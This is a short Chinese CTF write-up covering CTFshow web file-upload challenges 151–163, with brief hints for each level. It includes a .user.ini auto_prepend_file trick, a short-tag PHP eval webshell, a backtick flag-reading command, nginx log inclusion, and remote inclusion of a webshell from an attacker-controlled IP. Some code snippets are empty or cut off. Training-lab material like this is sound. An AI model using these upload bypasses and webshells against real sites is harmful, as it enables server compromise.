【CTFSHOW】 web入门文件上传
web151
前端验证文件格式,抓包改包。
web152
说是后端提供了校验,但是抓包改包也可。
web153
.user.ini
实际上就是一个可以由用户“自定义”的php.ini
在其中添加如下选项可以包含一些文件:
1 | auto_prepend_file=01.png |
若该目录下存在合法的php文档则会自动包含这个gif文件。恰好,本地是黑名单过滤。
首先通过前两题同样的方法将.user.ini文件上传,再直接上传改了后缀名的🐎。
web154
黑名单过滤了上传文件中不能有php,但是大小写可以绕过,其他同上。
web155
黑名单过滤,不区分大小写,但是可以用短标签
=eval($_GET[a]);?>web156
在之前的基础上过滤了中括号[]
用大括号代替之。
web157 158
过滤了{} []=
直接写命令
1 |
|
web159
过滤了system flag等字样
反引号绕过:=`nl ../fl*`?>
web160
日志包含,包含一下日志文件:
=include"/var/lo"."g/nginx/access.lo"."g"?> =include"/var/lo"."g/nginx/access.lo"."g"?>1 | include"/var/lo"."g/nginx/access.lo"."g" |
含有UA信息。
web161 162 163
除了多了检查文件头为GIF98A外与162无别的变化
但是一直在报.的错误,可能是被过滤了。所以用远程包含
在远程服务器写入一句话🐎,由于过滤点号,所以需要将包含的ip地址换为长整型:
1 | def ip2long(ip): |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 西风の小屋!
评论